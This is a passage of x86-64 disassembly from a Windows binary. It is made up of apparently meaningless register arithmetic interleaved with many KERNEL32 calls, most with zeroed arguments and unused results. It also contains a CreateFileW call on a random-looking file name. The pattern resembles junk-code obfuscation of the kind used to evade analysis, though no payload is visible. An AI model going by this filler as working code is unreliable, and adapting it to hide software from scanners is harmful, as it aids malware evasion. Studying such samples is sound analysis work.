mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov eax, dword [rsp + 0x62cc]
movzx ecx, al
mov eax, dword [rsp + 0x650c]
sar eax, cl
mov dword [rsp + 0x6498], eax
mov rax, qword [rsp + 0xc658]
mov rcx, qword [rsp + 0xc9f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6b8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
imul eax, dword [rsp + 0x644c], 0x1e99
mov dword [rsp + 0x6544], eax
movzx ecx, word [rsp + 0x1fc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x210c], ax
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
mov byte [rsp + 0x39c], al
movsx eax, word [rsp + 0x1928]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc7f8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x14a0]
movzx ecx, word [rsp + 0x2080]
and eax, ecx
mov word [0x1401c7038], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0xc868]
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc6b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e54], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65a8], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x2110], ax
movsx eax, byte [rsp + 0x359]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2b7], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcbd8], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6f0]
mov qword [rsp + 0xcbe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbe0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x61bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xc350]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc550], rax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6578], eax
mov rax, qword [0x1401c8aa0]
mov rcx, qword [rsp + 0xa5c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ae8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcbe8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8a28], ax
mov rax, qword [rsp + 0xcbb0]
movzx eax, word [rax]
mov word [rsp + 0x2114], ax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x30b]
or eax, ecx
mov byte [rsp + 0x382], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov eax, dword [rsp + 0x5728]
mov dword [rsp + 0x65dc], eax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xcbf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbf0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xc990]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [rsp + 0x64a0]
shl eax, cl
mov rcx, qword [rsp + 0xc570]
mov dword [rcx], eax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc538]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64fc], eax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x39b]
add eax, ecx
mov byte [rsp + 0x36a], al
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0xc9f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa148], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
movzx eax, word [rsp + 0x2068]
mov word [rsp + 0x2118], ax
lea rcx, str.CMIklaYKPOSy
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x211c], ax
mov rax, qword [rsp + 0xcaf0]
movzx eax, word [rax]
mov word [0x1401c8b68], ax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [0x1401c8b00]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xba40], rax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6468], eax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x202c]
xor eax, ecx
mov word [rsp + 0x1718], ax
movsx eax, word [rsp + 0x1fe8]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b38], ax
lea rdx, [rsp + 0x26300]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x656c], eax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc390]
mov qword [rsp + 0xcbf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbf8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xca18], rax
mov eax, dword [rsp + 0x5ed0]
mov dword [rsp + 0x65e0], eax
movsx eax, byte [rsp + 0x26b]
movsx ecx, byte [rsp + 0x375]
or eax, ecx
mov byte [rsp + 0x37e], al
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
imul rax, qword [rsp + 0xc9b8]
mov qword [rsp + 0xa6b8], rax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov word [rsp + 0x2120], ax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [rsp + 0xc620]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c8a78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0xcb48]
mov ecx, dword [rsp + 0x5ec4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e], al
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f50]
sub eax, ecx
mov word [rsp + 0xb60], ax
mov r9d, 1
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xca70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x65ac], eax
movzx eax, word [rsp + 0x11e4]
mov word [rsp + 0x2124], ax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x36a]
sar eax, cl
mov byte [rsp + 0x359], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcc00], rax
mov rax, qword [0x1401c8a40]
mov ecx, dword [rsp + 0x62a4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x59f4], eax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xca68]
movzx ecx, al
mov rax, qword [rsp + 0xc550]
shl rax, cl
mov qword [rsp + 0x9de0], rax
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc6b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc900]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c70a8], ax
lea rcx, [rsp + 0x1d480]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov qword [rsp + 0xcc08], rax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
mov rcx, qword [0x1401c8a30]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65e4], eax
mov rax, qword [rsp + 0xca18]
mov rcx, qword [rsp + 0xc560]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb270], rax
movzx eax, word [rsp + 0x1b38]
mov word [rsp + 0x2128], ax
mov rax, qword [rsp + 0xc910]
mov rcx, qword [rsp + 0xc830]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x65d0]
shr eax, cl
mov dword [rsp + 0x5660], eax
mov rcx, qword [rsp + 0xc038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xca30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0xc848]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6440], eax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov byte [rsp + 0x39d], al
movzx eax, word [rsp + 0x2104]
mov word [0x1401c8b6c], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa5c], ax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64b8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx eax, word [rsp + 0x114c]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1884], ax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov rcx, qword [0x1401c8b20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc720]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fe4], ax
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
mov dword [rsp + 0x65e8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63b8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcc10], rax
mov rax, qword [rsp + 0xc910]
mov rcx, qword [rsp + 0xc9f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc9c8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, word [rsp + 0x1d14]
mov word [rsp + 0x212c], ax
mov rax, qword [rsp + 0xcad0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x208c], ax
mov rax, qword [rsp + 0x9bd8]
mov rcx, qword [0x1401c8aa8]
mov qword [rsp + 0xcc18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc18]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401c8a78], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2044]
or eax, ecx
mov word [rsp + 0x924], ax
mov rcx, qword [rsp + 0xcab8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65ac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.AHoGewNpLqeb71ApXJHMZo6M2NhWytshMNtD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xc878]
mov rcx, qword [rsp + 0xc1d8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc990]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1f58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fc0], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xc8e8]
movzx eax, byte [rax]
mov byte [rsp + 0x39e], al
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
div qword [rsp + 0xcae8]
mov qword [rsp + 0x9de0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x63b8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcc28], rax
movzx eax, byte [rsp + 0x391]
movzx ecx, byte [rsp + 0x2d8]
sub eax, ecx
mov byte [rsp + 0x11e], al
lea rdx, [rsp + 0x26178]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62a8], eax
mov rax, qword [rsp + 0xcaf8]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5728], eax
mov rax, qword [rsp + 0xc5d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xcc30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x61bc], eax
movsx eax, word [rsp + 0x12c8]
movsx ecx, word [rsp + 0x1d04]
sar eax, cl
mov word [0x1401c70ac], ax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [rsp + 0x2130], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65c4], eax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13a4], ax
mov r9d, 1
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x65ec], eax
mov rax, qword [rsp + 0xca38]
mov rcx, qword [0x1401c8a68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0e0], rax
mov rax, qword [rsp + 0xc5d8]
mov rcx, qword [rsp + 0xc400]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x659c], eax
movzx eax, byte [rsp + 0x205]
mov byte [rsp + 0x39f], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movsx eax, word [rsp + 0x19d0]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2048], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xc880]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65f0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rdx, [rsp + 0x26338]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x637c], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x2134], ax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [0x1401c7068]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401c7018], rax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcbc8]
sar rax, cl
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0xc388]
mov rcx, qword [rsp + 0xae30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb680], rax
movzx eax, word [rsp + 0x11e4]
movzx ecx, word [rsp + 0x1f14]
shl eax, cl
mov word [rsp + 0x848], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x3a0], al
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65f4], eax
mov rax, qword [rsp + 0xc628]
mov ecx, dword [rsp + 0x5ec4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62d4], eax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13f], al
imul eax, dword [0x1401c7008], 0x7933
mov dword [rsp + 0x6400], eax
mov r9d, 2
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6504], eax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [0x1401c8b70], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x20d8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc9f0]
movzx eax, word [rax]
mov word [rsp + 0x2138], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f94]
shl eax, cl
mov word [rsp + 0x202c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movzx ecx, word [rsp + 0x1ff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x213c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62bc], eax
lea rax, [rsp + 0xc388]
mov qword [rsp + 0xcc38], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x649c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xc430]
mov ecx, dword [0x1401c8ab0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6448], eax
movsx eax, byte [rsp + 0x255]
movsx ecx, byte [rsp + 0x386]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc0d8]
mov qword [rsp + 0xcc40], rax
movsx eax, word [rsp + 0xb90]
movsx ecx, word [0x1401c70a4]
add eax, ecx
mov word [rsp + 0x2000], ax
movzx eax, word [rsp + 0x9cc]
mov rcx, qword [rsp + 0xcaa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8af0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx ecx, word [rsp + 0x1fc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2140], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [0x1401c8a78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf58], rax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfc8], ax
mov rax, qword [rsp + 0xc848]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6470], eax
mov rcx, qword [rsp + 0xc810]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movzx eax, byte [rsp + 0x117]
mov byte [rsp + 0x3a1], al
movsx eax, byte [rsp + 0x255]
mov rcx, qword [rsp + 0xc9d8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc720]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x654c], eax
movzx ecx, word [rsp + 0x1f90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2144], ax
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f04], ax
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xcc48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6154], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6324], eax
mov rax, qword [rsp + 0xc550]
mov rcx, qword [0x1401c7020]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa148], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xca28]
movzx eax, word [rax]
mov word [rsp + 0x2148], ax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
mov word [0x1401c8b78], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ae8]
sar rax, cl
mov qword [rsp + 0xae30], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xcc38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xc698]
movzx eax, word [rax]
mov word [rsp + 0x214c], ax
movzx eax, word [0x1401c8ab4]
movzx ecx, word [rsp + 0xc24]
or eax, ecx
mov word [rsp + 0x20fc], ax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc8c0]
mov qword [rsp + 0xcc50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x56f4], eax
xor r9d, r9d
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x65f8], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc3f0]
shr rax, cl
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc610]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov qword [rsp + 0xcc58], rax
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7050], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movzx eax, word [rsp + 0x2018]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc980]
mov word [rcx], ax
lea rax, [rsp + 0x5b70]
mov qword [rsp + 0xcc60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [0x1401c8a16]
and eax, ecx
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0x9a90]
mov rcx, qword [rsp + 0xb180]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x98d8], rax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcba0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x128], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xc9f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9588], rax
mov dword [rsp + 0x20], 0
